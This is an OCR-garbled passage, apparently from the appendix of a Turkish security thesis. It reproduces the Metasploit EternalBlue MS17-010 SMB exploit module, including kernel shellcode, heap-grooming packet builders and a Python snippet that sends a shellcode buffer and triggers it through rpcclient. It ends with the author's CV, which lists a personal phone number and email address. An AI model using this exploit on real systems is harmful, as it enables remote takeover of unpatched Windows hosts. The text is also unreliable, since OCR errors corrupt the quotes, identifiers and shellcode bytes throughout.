buff+=""\x00\x04\xdf\xff\Ax00\x04\xfe\x 7f""
buff+=""\x60\x6a\x30\x58\x99\x64\x8b\x18""
buff+=""\x39\x53\x0c\x74\x2b\x8b\x43\x10""
buff+=""\x8b\x40\x3c\x83\xc0\x28\x8b\x08""
buff+=""\x03\x48\x03\x81\xfo\x6¢c\x61\x73""
buff+=""\x73\x75\x15\xe8\x07\x00\x00\x00"*
buff+=""\xe8\x0d\x00\x00\x00\xeb\x09\xb9"*
buff+=""\xde\xcO\xad\xde\x89\xe2\x0f\x34"*
buff+=""\x61\xc3\x81\xc4\x54\xf2\x ff\xff""

buff+=shell

s = socket()
s.connect(host)
s.send(buff)
s.close()

#Trigger the above injected code via authenticated process.
subprocess.call(**echo '1223456" | rpcclient -U Administrator %s* %(target), shell=True)
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it

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
it

require ‘ruby_smb’
require ‘'ruby_smb/smb1/packet’
require ‘windows_error"

class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote:: Tcp

def initialize(info = {})

super(update_info(info,

'Name' =>'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption’,
‘Description’  => %0{

This module is a port of the Equation Group ETERNALBLUE exploit, part of

the FuzzBunch toolkit released by Shadow Brokers.

There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size

is calculated in SrvISrvOs2FealL istSizeToNt, with mathematical error where a

DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow

is well laid-out to overwrite an SMBvV1 buffer. Actual RIP hijack is later

completed in srvnet!SrvNetWskReceiveComplete.

This exploit, like the original may not trigger 100% of the time, and should be

run continuously until triggered. It seems like the pool will get hot streaks

and need a cool down period before the shells rain in again.

The module will attempt to use Anonymous login, by default, to authenticate to perform the
exploit. If the user supplies credentials in the SMBUser,SMBPass, and SMBDomain options it will use
those instead.

On some systems, this module may cause system instability and crashes, such as a BSOD or
a reboot. This may be more likely with some payloads.

b

'Author’ =>[

'Sean Dillon <sean.dillon@risksense.com>*, # @zerosumO0x0

‘Dylan Davis <dylan.davis@risksense.com>', # @jennamagius
‘Equation Group’,

‘Shadow Brokers',

‘thelightcosine’ # RubySMB refactor and Fallback Credential mode
1

'License’ => MSF_LICENSE,

'References’ =>

[

[ 'AKA', 'ETERNALBLUE'],

[ 'MSB’, 'MS17-010" ],

[ 'CVE’, '2017-0143" ],

[ 'CVE’, '2017-0144" ],

[ 'CVE’, '2017-0145" ],

[ 'CVE', '2017-0146" ],

['CVE', '2017-0147" ],

[ 'CVE', '2017-0148" ],

[ "URL', "https://github.com/RiskSense-Ops/MS17-010" ]
1

efaultOptions' =>

{
'EXITFUNC' =>'thread’,

I3

'Privileged" =>true,
'Payload’ =>

{

'Space’ => 2000, # this can be more, needs to be recalculated
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'EncoderType' => Msf::Encoder::Type::Raw,
}

‘Platform’ =>'win’,
'Targets' =>

[
[ "Windows 7 and Server 2008 R2 (x64) All Service Packs",

{
'Platform’ =>'win',
‘Arch’ =>[ ARCH_X64],

'os_patterns' =>['Server 2008 R2', "Windows 7'],
‘ep_thl_b’ => 0x308, # EPROCESS.ThreadListHead.Blink offset
‘et_alertable’ =>0x4c, # ETHREAD.Alertable offset

'teb_acp’ => 0x2c8, # TEB.ActivationContextPointer offset
‘et_tle’ =>0x420 # ETHREAD.ThreadListEntry offset

}

1

1

‘DefaultTarget' =>0,
'DisclosureDate’ =>'Mar 14 2017"
)

register_options(

[

Opt::RPORT (445),

OptString.new("ProcessName’, [ true, ‘Process to inject payload into.", ‘spoolsv.exe’ ]),

Optint.new( "MaxExploitAttempts’, [ true, ""The number of times to retry the exploit."", 3]),
Optint.new( ‘GroomAllocations’, [ true, "Initial number of times to groom the kernel pool.”, 12 ]),
Optlnt.new( 'GroomDelta’, [ true, "The amount to increase the groom count by per try.", 5 1),
OptBool.new( "VerifyTarget', [ true, "Check if remote OS matches exploit Target.”, true] ),
OptBool.new( "VerifyArch’, [ true, "Check if remote architecture matches exploit Target.”, true] ),
OptString.new('SMBUser", [ false, *(Optional) The username to authenticate as', "']),
OptString.new('SMBPass', [ false, ‘(Optional) The password for the specified username', '),
OptString.new('SMBDomain’, [ false, *(Optional) The Windows domain to use for authentication’, *."]),
D

end

class EternalBlueError < StandardError
end

def check
# todo: create MS17-010 mixin, and hook up auxiliary/scanner/smb/smb_ms17_010
end

def exploit
begin
for i in 1..datastore['MaxExploitAttempts']

grooms = datastore['GroomAllocations'] + datastore['GroomDelta'] * (i - 1)
smb_eternalblue(datastore['ProcessName"], grooms)

# we don't need this sleep, and need to find a way to remove it

# problem is oturum_count won't increment until stage is complete :\
secs=0

while loturum_created? and secs <5

secs +=1

sleep 1

end
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if oturum_created?

print_good(*'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-S-S-S-S-S-=-S ")
print_good(*'=-=-=-=-=-=-=-=-=-=-=-=-= WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ")
print_good(''=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-S-S-S-=-S ")
break

else

end
end

rescue EternalBlueError => e
print_error(*'#{e.message}'")

rescue ::RubySMB::Error::UnexpectedStatusCode,
::Errno::ECONNRESET,
::Rex::HostUnreachable,
::Rex::ConnectionTimeout,
::Rex::ConnectionRefused =>e
print_error(*'#{e.class}: #{e.message}"")
rescue => error
print_error(error.class.to_s)
print_error(error.message)
print_error(error.backtrace.join(*'\n""))
ensure

# pass

end

end

def smb_eternalblue(process_name, grooms)

begin

# Step 0: pre-calculate what we can

shellcode = make_kernel_user_payload(payload.encode, 0, 0, 0, 0, 0)
payload _hdr_pkt = make_smb2_payload_headers_packet
payload_body pkt = make_smb2_payload_body_packet(shellcode)

# Step 1: Connect to IPC$ share

print_status(*'Connecting to target for exploitation.")

client, tree, sock, 0s = smb1_anonymous_connect_ipc()
rescue RubySMB::Error::CommunicationError

# Error handler in case SMBvV1 disabled on target

raise EternalBlueError, 'Could not make SMBv1 connection’
else

print_good(*'Connection established for exploitation."")

if verify_target(os)

print_good(*Target OS selected valid for OS indicated by SMB reply”)

else

print_warning(‘Target OS selected not valid for OS indicated by SMB reply*)
print_warning(‘Disable VerifyTarget option to proceed manually...")

raise EternalBlueError, '‘Unable to continue with improper OS Target."'

end

# cool buffer print no matter what, will be helpful when people post debug issues
print_core_buffer(os)
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if verify_arch

print_good(*Target arch selected valid for arch indicated by DCE/RPC reply")

else

print_warning(‘Target arch selected not valid for arch indicated by DCE/RPC reply")
print_warning('Disable VerifyArch option to proceed manually...")

raise EternalBlueError, 'Unable to continue with improper OS Arch.'

end

print_status(""Trying exploit with #{grooms} Groom Allocations.")

# Step 2: Create a large SMB1 buffer
print_status(*'Sending all but last fragment of exploit packet')
smb1l_large_buffer(client, tree, sock)

# Step 3: Groom the pool with payload packets, and open/close SMB1 packets
print_status(*'Starting non-paged pool grooming"*)

# initialize_groom_threads(ip, port, payload, grooms)
fhs_sock = smbl_free_hole(true)

@groom_socks =]

print_good(**Sending SMBv2 buffers')
smb2_grooms(grooms, payload_hdr_pkt)

fhf_sock = smbl_free_hole(false)

print_good(*'Closing SMBvV1 connection creating free hole adjacent to SMBv2 buffer.™)
fhs_sock.shutdown()

print_status(*'Sending final SMBv2 buffers.") # 6x
smb2_grooms(6, payload_hdr_pkt) # todo: magic #

fhf_sock.shutdown()

print_status(**Sending last fragment of exploit packet!*)
final_exploit_pkt = make_smbl_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_exploit, 15)
sock.put(final_exploit_pkt)

print_status(*'Receiving response from exploit packet)
code, raw = smbl_get response(sock)

code_str = ""0x"" + code.to_i.to_s(16).upcase

if code.nil?

print_error(**Did not receive a response from exploit packet™)

elsif code == 0xc000000d # STATUS_INVALID_PARAMETER (0xC000000D)
print_good("”ETERNALBLUE overwrite completed successfully (#{code_str})!"")

else

print_warning(""ETERNALBLUE overwrite returned unexpected status code (#{code_str})!"")
end

# Step 4: Send the payload

print_status(**Sending egg to corrupted connection.*)

@groom_socks.each{ |gsock| gsock.put(payload_body_pkt.first(2920)) }
@groom_socks.each{ |gsock| gsock.put(payload_body pkt[2920..(4204 - 0x84)]) }

print_status("*Triggering free of corrupted buffer.")
# tree disconnect

# logoff and x

# note: these aren't necessary, just close the sockets
return true

ensure

abort_sockets

end

end
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def verify_target(os)

0s = 0s.gsub(*"\x00"", **) # strip unicode bs
0s <<""\x00" # but original has a null
ret = true

if datastore['VerifyTarget']

ret = false

# search if its in patterns
target['os_patterns'].each do |pattern|

if 0s.downcase.include? pattern.downcase
ret = true

break

end

end

end

return ret
end

# https://github.com/CoreSecurity/impacket/blob/master/examples/getArch.py
# https://msdn.microsoft.com/en-us/library/cc243948.aspx#Appendix_A_53
def verify_arch

ret = false

return true if !datastore['VerifyArch']

pkt = Rex::Proto::DCERPC::Packet.make_bind(
# Abstract Syntax: EPMv4 V3.0
'e1af8308-5d1f-11¢c9-91a4-08002b14a0fa’, '3.0',

# Transfer Syntax[1]: 64bit NDR V1
'71710533-beba-4937-8319-b5dbef9ccc36’, '1.0°
).first

begin

sock = connect(false,
'RHOST" => rhost,
'RPORT" => 135

)
rescue Rex::ConnectionError =>e
print_error(e.to_s)

return false

end

sock.put(pkt)

begin

res = sock.get_once(60)

rescue EOFError

print_error(‘DCE/RPC socket returned EOFError®)
return false

end

disconnect(sock)

begin

resp = Rex::Proto::DCERPC::Response.new(res)

rescue Rex::Proto::DCERPC::Exceptions::InvalidPacket => e
print_error(e.to_s)

return false

end
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case target_arch.first

when ARCH_X64

# Ack result: Acceptance (0)

if resp.ack_result.first==0

ret = true

end

when ARCH_X86

# Ack result: Provider rejection (2)

# Ack reason: Proposed transfer syntaxes not supported (2)
if resp.ack_result.first == 2 && resp.ack_reason.first == 2
ret = true

end

end

ret

end

def print_core_buffer(os)

print_status(""CORE raw buffer dump (#{os.length.to_s} bytes)")
count=0

chunks = os.scan(/.{1,16}/)

chunks.each do | chunk |

hexdump = chunk.chars.map { |ch| ch.ord.to_s(16).rjust(2, **0"") }.join("""")

format = ""0x%008x %-47s %-16s" % [(count * 16), hexdump, chunk]
print_status(format)

count +=1

end

end

#

# Increase the default delay by five seconds since some kernel-mode

# payloads may not run immediately.

def wfs_delay
super + 5
end

def smb2_grooms(grooms, payload_hdr_pkt)
grooms.times do |groom_id|

gsock = connect(false)

@groom_socks << gsock
gsock.put(payload_hdr_pkt)

end

end

def smb1l_anonymous_connect_ipc

sock = connect(false)

dispatcher = RubySMB::Dispatcher::Socket.new(sock)

client = RubySMB::Client.new(dispatcher, smbl: true, smb2: false, username: smb_user, password:
smb_pass)

response_code = client.login

unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS

raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code.to_s}"
end

os = client.peer_native_os

tree = client.tree_connect(""\\#{datastore['RHOST'J}\IPC$"")

return client, tree, sock, os

end

def smbl_large_buffer(client, tree, sock)

nt_trans_pkt = make smbl nt trans_packet(tree.id, client.user _id)
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#send NT Trans
vprint_status(*'Sending NT Trans Request packet')

client.send_recv(nt_trans_pkt)
# Initial Trans2 request
trans2_pkt_nulled = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_zero, 0)

# send all but last packet

foriin1.14

trans2_pkt_nulled << make_smb1l_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_buffer, i)
end

vprint_status(**'Sending malformed Trans2 packets")

sock.put(trans2_pkt_nulled)

sock.get_once

client.echo(count:1, data: ""\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00"")
end

def smbl_free_hole(start)

sock = connect(false)

dispatcher = RubySMB::Dispatcher::Socket.new(sock)

client = RubySMB::Client.new(dispatcher, smbl: true, smb2: false, username: smb_user, password:
smb_pass)

client.negotiate

pkt="""

if start

vprint_status(*'Sending start free hole packet.")

pkt = make_smbl_free_hole_oturum_packet(*"\x07\xc0", *"\x2d\x01"", **\xfO\xff\x00\x00\x00"")
else

vprint_status(**Sending end free hole packet.™)

pkt = make_smbl_free_hole_oturum_packet(*"\x07\x40", *"\x2c\x01"", ""\xf8\x87\x00\x00\x00"")
end

client.send_recv(pkt)
sock
end

def smb1l_get response(sock)
raw = nil

# dirty hack since it doesn't always like to reply the first time...
16.times do

raw = sock.get_once

break unless raw.nil? or raw.empty?

end

return nil unless raw

response = RubySMB::SMB1::SMBHeader.read(raw[4..-1])
code = response.nt_status

return code, raw, response

end

def make_smb2_payload_headers_packet

# don't need a library here, the packet is essentially nonsensical

pkt="""

pkt <<"\x00" # oturum message
pkt <<"\x00\xff\xf7**  #size

pkt <<""\xfeSMB™* # SMB2

pkt <<'"\x00"" * 124

pkt
end
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def make_smb2_payload_body_packet(kernel_user_payload)

# precalculated lengths

pkt_max_len = 4204

pkt_setup_len =497

pkt_max_payload = pkt_max_len - pkt_setup_len # 3575

# this packet holds padding, KI_USER_SHARED_DATA addresses, and shellcode
pkt=""'

# padding

pkt <<"\x00"" * 0x8

pkt <<""\x03\x00\x00\x00"*

pkt <<"\x00" * Ox1c

pkt <<""\x03\x00\x00\x00""

pkt <<""\x00" * 0x74

# KI_USER_SHARED_DATA addresses

pkt <<"\xb0\x00\xdO\XxFAXFAXFAXFAXFF'" * 2 # x64 address
pkt <<"\x00" * 0x10

pkt <<""\xcO\xfO\xdf\xff"* * 2 # x86 address
pkt <<"\x00" * Oxc4

# payload addreses

pkt <<""\x90\xf1\xdf\xff"*

pkt <<"\x00"" * 0x4

pkt <<"\xfO\xf1\xdf\xff"*

pkt <<"'\x00" * 0x40

pkt <<""\xf0\x01\xdO\xfAXFAXFAXFAXFF*
pkt <<""\x00" * 0x8

pkt <<"\x00\x02\xdO\X FAXFAXFAXFAXF*
pkt <<""\x00""

pkt << kernel_user_payload
# fill out the rest, this can be randomly generated
pkt <<"\x00" * (pkt_max_payload - kernel_user_payload.length)

pkt

end

# Type can be :eb_trans2_zero, :eb_trans2_buffer, or :eb_trans2_exploit
def make_smbl_trans2_exploit_packet(tree_id, user_id, type, timeout)
timeout = (timeout * 0x10) + 3

timeout_value = ""\x35\x00\xd0"* + timeout.chr

packet = RubySMB::SMB1::Packet:: Trans2::Request.new

packet = set_smbl_headers(packet,tree_id,user_id)

# The packets are labeled as Secondary Requests but are actually structured

# as normal Trans2 Requests for some reason. We shall similarly cheat here.
packet.smb_header.command
RubySMB::SMB1::Commands::SMB_COM_TRANSACTION2_SECONDARY

packet.parameter_block.flags.read(*"\x00\x10"")
packet.parameter_block.timeout.read(timeout_value)

packet.parameter_block.word_count =9
packet.parameter_block.total_data_count = 4096
packet.parameter_block.parameter_count = 4096

nbss = **\x00\x00\x10\x35"*

pkt = packet.to_binary_s

pkt = pkt[0,packet.parameter_block.parameter_offset.abs_offset]
pkt = nbss + pkt

case type
when :eb_trans2_exploit
vprint_status(**Making :eb_trans2_exploit packet')
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pkt <<""\x41" * 2957
pkt <<""\x80\x00\xa8\x00"* # overflow

pkt <<""\x00" * 0x10
pkt <<"\xff\xff"*

pkt <<"\x00"" * 0x6
pkt <<""\xff\xff""

pkt <<"\x00" * 0x16

pkt <<"\x00\xf1\xdf\xff*" # x86 addresses
pkt <<"\x00" * 0x8
pkt <<"\x20\xfO\xdf\xff*"

pkt <<""\x00\xf1\xdAXFAXFAXFAXFAXTF** # x64

pkt <<*"\x60\X00\x04\x10""
pkt <<*"\x00" * 4

pkt <<""\x80\xef\xdf\xff**

pkt <<"'\x00" * 4

pkt <<""\x10\x00\xdO\X FAXFAXFAXFAXF"
pkt <<"\x18\x01\xdO\WFAXFAXFAXFFXF**
pkt <<"\x00" * 0x10

pkt <<""\x60\x00\x04\x10"*

pkt <<™\x00™ * Oxc

pkt <<"\X90\WXFAXCAXFAXFAXFAXFAXFF'
pkt <<"\x00'" * 0x8

pkt <<""\x80\x10""

pkt <<""\x00" * Oxe

pkt <<"\x39"

pkt <<"\xbb"

pkt <<"\x41" * 965

when :eb_trans2_zero

vprint_status(*'Making :eb_trans2_zero packet")
pkt <<"\x00" * 2055

pkt <<'\x83\xf3""

pkt <<"\x41" * 2039

else

vprint_status(**Making :eb_trans2_buffer packet™)
pkt <<"\x41" * 4096

end

pkt

end

def make_smbl_nt_trans_packet(tree_id, user_id)
packet = RubySMB::SMB1::Packet::NtTrans::Request.new

# Disable the automatic padding because it will distort
# our values here.

packet.data_block.enable_padding = false

packet = set_ smbl_headers(packet,tree_id,user_id)
packet.parameter_block.max_setup_count =1
packet.parameter_block.total_parameter_count = 30
packet.parameter_block.total_data_count =66512
packet.parameter_block.max_parameter_count = 30
packet.parameter_block.max_data_count =0
packet.parameter_block.parameter_count =30
packet.parameter_block.parameter_offset =75
packet.parameter_block.data_count =976
packet.parameter_block.data_offset =104
packet.parameter_block.function =0
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packet.parameter_block.setup << 0x0000

packet.data_block.byte _count = 1004
packet.data_block.trans2_parameters = ""\x00" * 31 + ""\x01" + ( ""\x00"" * 973 )
packet

end

def make_smbl_free_hole_oturum_packet(flags2, vcnum, native_os)
packet = RubySMB::SMB1::Packet::OturumSetupRequest.new
packet.smb_header.flags.read(**\x18"")
packet.smb_header.flags2.read(flags2)

packet.smb_header.pid_high = 65279

packet.smb_header.mid =64
packet.parameter_block.vc_number.read(vcnum)
packet.parameter_block.max_buffer_size = 4356
packet.parameter_block.max_mpx_count =10
packet.parameter_block.security_blob_length =0

packet.data_block.native_os = native_os
packet.data_block.native_lan_man = "\x00" * 17
packet

end

# ring3 = user mode encoded payload

# proc_name = process to inject APC into

# ep_thl_b = EPROCESS.ThreadListHead.Blink offset

# et_alertable = ETHREAD.Alertable offset

# teb_acp = TEB.ActivationContextPointer offset

# et_tle = ETHREAD.ThreadListEntry offset

def make_kernel_user_payload(ring3, proc_name, ep_thl_b, et_alertable, teb_acp, et_tle)
sc = make_kernel_shellcode

sc << [ring3.length].pack(**S<"")

sc << ring3

SC

end

def make_kernel_shellcode

# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
# Length: 1019 bytes

#'"\xcc"'+

"\X31\xC9\x41\xE2\x01\x C3\xB9\x82\x00\x00\x CO\X0F\x32\x48\xBB\XF8"" +
"\XOF\XDO\XFF\XxFF\xFF\xFF\xFF\x89\x53\x04\x89\x03\x48\x8D\x05\x0A"" +
""\x00\x00\x00\x48\x89\x C2\x48\x C1\XxEA\x20\XxOF\x30\Xx C3\x0F\x01\xF8"" +
"\x65\x48\x89\x24\x25\x 10\x00\x00\x00\x65\x48\x8B\x24\x25\x A8\x01"* +
"\X00\x00\x50\x53\x51\x52\x56\x57\x55\x41\x50\x41\x51\x41\x52\x41"" +
"\x53\x41\x54\x41\x55\x41\x56\x41\x57\x6 A\x2B\x65\XFF\x34\x25\x 10" +
"\x00\x00\x00\x41\x53\x6 A\X33\x51\x4C\x89\xD1\x48\x83\X EC\x08\x55"" +
"\x48\x81\XEC\x58\x01\x00\x00\x48\x8 D\X AC\x24\x80\x00\x00\x00\x48"" +
"\x89\x9D\x C0\x00\x00\x00\x48\x89\xB D\x C8\x00\x00\x00\x48\x89\xB5"* +
"\xD0\x00\x00\x00\x48\x A1\xF8\x0F\x DO\x FF\x FF\x FF\x FF\x FF\x48\x89"" +
"\XC2\x48\x C1\XxEA\x20\x48\x31\xDB\xFF\xCB\x48\x21\xD8\xB9\x82\x00"" +
"\X00\xCO\x0F\x30\xFB\x E8\x38\x00\x00\x00\x FA\x65\x48\x8B\x24\x25"" +
"\XA8\x01\x00\x00\x48\x83\XEC\x 78\x41\x5F\x41\x5E\x41\x5D\x41\x5C"" +
"\x41\x5B\x41\x5A\x41\x59\x41\x58\x5 D\X5 F\X5E\Xx5A\x59\x5B\x58\x65"" +
"\x48\x8B\x24\x25\x10\x00\x00\x00\x0F\x01\x F8\x FF\x24\x25\x F8\x0F"" +
"\XDO\XFF\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53\x55\x48\x89\XE5"" +
"\x66\x83\xE4\x F0\x48\x83\Xx EC\x20\x4C\x8D\x35\XxE3\x FF\x FF\x FF\x65""* +
"\x4C\x8B\x3C\x25\x38\x00\x00\x00\x4 D\x8B\x7F\x04\x49\x C1\xEF\x0C""* +
"\x49\x C1\xE7\x0C\x49\x81\x EF\x00\x10\x00\x00\x49\x8B\x37\x66\x81"" +
"\XFE\x4D\X5A\Xx75\XxEF\x41\xBB\x5C\x72\x11\x62\xE8\x18\x02\x00\x00"* +
"\x48\x89\x C6\x48\x81\x C6\x08\x03\x00\x00\x41\xBB\x7A\XBA\XA3\x30"" +
"\XE8\x03\x02\x00\x00\x48\x89\x F1\x48\x39\x FO\x 7 7\x11\x48\x8D\x90"" +
"\x00\x05\x00\x00\x48\x39\x F2\x 72\x05\x48\x29\x C6\Xx EB\x08\x48\x8B"" +
"\x36\x48\x39\X CE\x75\x E2\x49\x89\x F4\x31\x DB\x89\x D9\x83\x C1\x04""* +
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"\x81\xF9\x00\x00\x01\x00\xOF\x8D\x66\x01\x00\x00\x4 C\x89\xF2\x89"" +
"\XCB\x41\xBB\x66\x55\x A2\x4B\XE8\xBC\x01\x00\x00\x85\xC0\x75\xDB"* +
"\x49\x8B\X0E\x41\XxBB\XA3\x6F\x72\x2D\XE8\x AA\x01\x00\x00\x48\x89"" +
"\XCB6\XE8\x50\x01\x00\x00\x41\x81\x FO\XBF\x77\x 1F\x DD\X75\xBC\x49"" +
"\x8B\x1E\x4D\x8D\x6 E\x10\x4C\x89\XEA\X48\x89\xD9\x41\xBB\XE5\x24"" +
"\x11\xDC\XE8\x81\x01\x00\x00\x6 A\x40\x68\x00\x10\x00\x00\x4D\x8D""* +
"\x4E\x08\x49\xC7\x01\x00\x10\x00\x00\x4D\x31\x CO\x4C\x89\x F2\x31"* +
"\xC9\x48\x89\X0AX48\XF7\xD1\x41\xBB\x4B\X CA\XXOA\XEE\x48\x83\XEC"* +
"\x20\xE8\x52\x01\x00\x00\x85\x CO\XOF\x85\x C8\x00\x00\x00\x49\x8B"* +
"\X3E\x48\x8D\x35\xE9\x00\x00\x00\x31\xC9\x66\x03\x0D\xD7\x01\x00"* +
"\x00\x66\x81\xC1\xFI\X00\xF3\xA4\x48\x89\x DE\x48\x81\xC6\x08\x03"* +
""\x00\x00\x48\x89\xF1\x48\x8B\x11\x4C\x29\XxE2\x51\x52\x48\x89\xD1"* +
"\x48\x83\XEC\x20\x41\xBB\x26\x40\x36\x9D\xE8\x09\x01\x00\x00\x48"* +
"\x83\xC4\x20\x5AX59\x48\x85\x C0\x 74\x 18\x48\x8B \x80\x C8\x02\x00"* +
""\x00\x48\x85\xC0\x74\x0C\x48\x83\x C2\x4C\x8B\x02\xOF\xBA\XEO0\x05"" +
"\x72\x05\x48\x8B\X09\XEB\XBE\x48\x83\X EA\x4C\x49\x89\xD4\x31\xD2"" +
"\x80\XC2\x90\x31\xC9\x41\xBB\x26\x AC\X50\x91\X E8\x C8\x00\x00\x00"* +
"\x48\x89\x C1\x4C\x8D\x89\x80\x00\x00\x00\x41\x C6\x01\x C3\x4C\x89"" +
"\XE2\x49\x89\x C4\x4 D\x31\X C0\x41\x50\x6 A\x01\x49\x8B\x06\x50\x4 1" +
"\x50\x48\x83\XEC\x20\x41\xBB\XAC\XCE\X55\x4B\XE8\x98\x00\x00\x00"* +
"\x31\xD2\x52\x52\x41\x58\x41\x59\x4C\X89\XE 1\x41\xBB\x18\x38\x09"* +
"\X9E\XE8\x82\x00\x00\x00\x4 C\x89\XE9\x41\XxBB\x22\xB7\xB3\x7D\XE8"* +
""\x74\x00\x00\x00\x48\x89\xD9\x41\x BB\XOD\XE2\x4D\x85\x E8\x66\x00"* +
""\x00\x00\x48\x89\XE C\X5D\x5B\x41\x5C\x41\x5D\x41\X5E\X41\X5 F\X5E"* +
"\XxC3\XE9\xB5\x00\x00\x00\x4D\x31\x C9\x31\Xx CO\XXAC\x41\xC1\xC9\x0D"* +
"\x3C\x61\x7C\x02\x2C\x20\x41\x01\x C1\x38\XEO\X 75\XEC\XC3\x31\xD2"" +
"\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x12"" +
"\x48\x8B\x72\x50\x48\x0F\XB 7\x4 A\X4 A\x45\x31\XC9\x31\x CO\XAC\X3C"* +
"\x61\x7C\x02\x2C\x20\x41\x C1\XC9\x0D\x41\X01\X C1\X E2\XEE\X45\x39"" +
"\XD9\X75\xDAX4C\x8B\x7Ax20\X C3\x4C\x89\x F8\x41\x51\x41\x50\x52"" +
"\x51\x56\x48\x89\x C2\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88\x00\x00"" +
""\x00\x48\x01\xD0\x50\x8B\x48\x 18\x44\x8B\x40\x20\x49\x01\xD0\x48™" +
"\XFF\xC9\x41\x8B\x34\x88\x48\x01\x D6\X E8\x 78\X FF\x FF\x FF\x45\x39"* +
"\XxD9\x75\XEC\x58\x44\x8B\x40\x24\x49\x01\x D0\x66\x41\x8B\X0C\x48™" +
"\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\X DO\X5E\x59"" +
"\X5AX41\x58\x41\x59\x41\X5B\x41\X53\x FF\XE0\X56\x41\X57\x55\x48"" +
"\x89\XE5\x48\x83\XEC\x20\x41\XxBB\XD A\X 16\X AF\X92\X E8\X4D\XFF\xFF"* +
"\IXFF\X31\xC9\x51\x51\x51\x51\x41\x59\x4C\x8D\x05\x 1L A\x00\x00\x00"* +
"\x5A\x48\x83\XEC\x20\x41\xBB\x46\x45\x 1B\x22\XE8\X68\Xx FF\XFF\xFF"* +
"\x48\x89\XEC\X5D\x41\x5F\X5E\XC3""#\x01\x00\xC3"*

end

# Sets common SMB1 Header values used by the various

# packets in the exploit.

#

# @rturn [RubySMB::GenericPacket] the modified version of the packet
def set_smb1_headers(packet,tree_id,user_id)
packet.smb_header.flags2.read(**\x07\xc0"")

packet.smb_header.tid =tree_id

packet.smb_header.uid = user_id

packet.smb_header.pid_low = 65279

packet.smb_header.mid =64

packet

end

# Returns the value to be passed to SMB clients for

# the password. If the user hs not supplied a password

# it returns an empty string to trigger an anonymous

# logon.

#

# @return [String] the password value

def smb_pass

if datastore['SMBPass'].present?

datastore['SMBPass']

else
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end
end

# Returns the value to be passed to SMB clients for

# the username. If the user hs not supplied a username
# it returns an empty string to trigger an anonymous
# logon.

#

# @return [String] the username value

def smb_user

if datastore['SMBUser'].present?
datastore['SMBUser']

else

end
end
end

130



Kisisel Bilgiler

Soyadi, Adi
Uyrugu

Dogum tarihi ve yeri

Medeni hali
Telefon

E-mail

Egitim
Derece
Yiiksek lisans
Lisans

Lisans

Lise

Is Deneyimi

Yabanc Dil

Ingilizce

Yayinlar

OZGECMIS

: OZCAKMAK, Burak
- T.C.

:19.08.1990

. Evli

05339532072

: burakozcakmak@gmail.com

Egitim Birimi
Gazi Universitesi/Bilgi Giivenligi Miihendisligi
Gazi Universitesi / Bilgisayar Miihendisligi

Gazi Universitesi / Endiistri Miihendisligi
Cift Anadal

Denizli Anadolu Lisesi

131

Mezuniyet tarihi
Devam ediyor
2013

2013

2008

e Yavanoglu, U., Ozcakmak, B., and Milletsever, O. (2012). A new wntelligent
steganalysis method for waveform audio steganography. The Sixth International
Conference on Machine Learning and Applications (ICMLA'11), 2, 281-287

e Yavanoglu, U., Ozcakmak, B. and Milletsever, O. (2013). Sayisal biyometrik
doniisiimlerin kriminal mcelemelerde kullanilmasi tizerine bir inceleme. International
Sysposium On Digital Forensics And Security, 434-439

e Ozcakmak, B., Kapkig, A., Bagirdz B., Kog, A. and Yavanoglu, U. (2017). Assessment
of wireless and 10t security awareness: A case study. 7 th international Conference on
Advanced Technologies (ICAT'18), 709-715

Hobiler



GAZI GELECEKTIR...



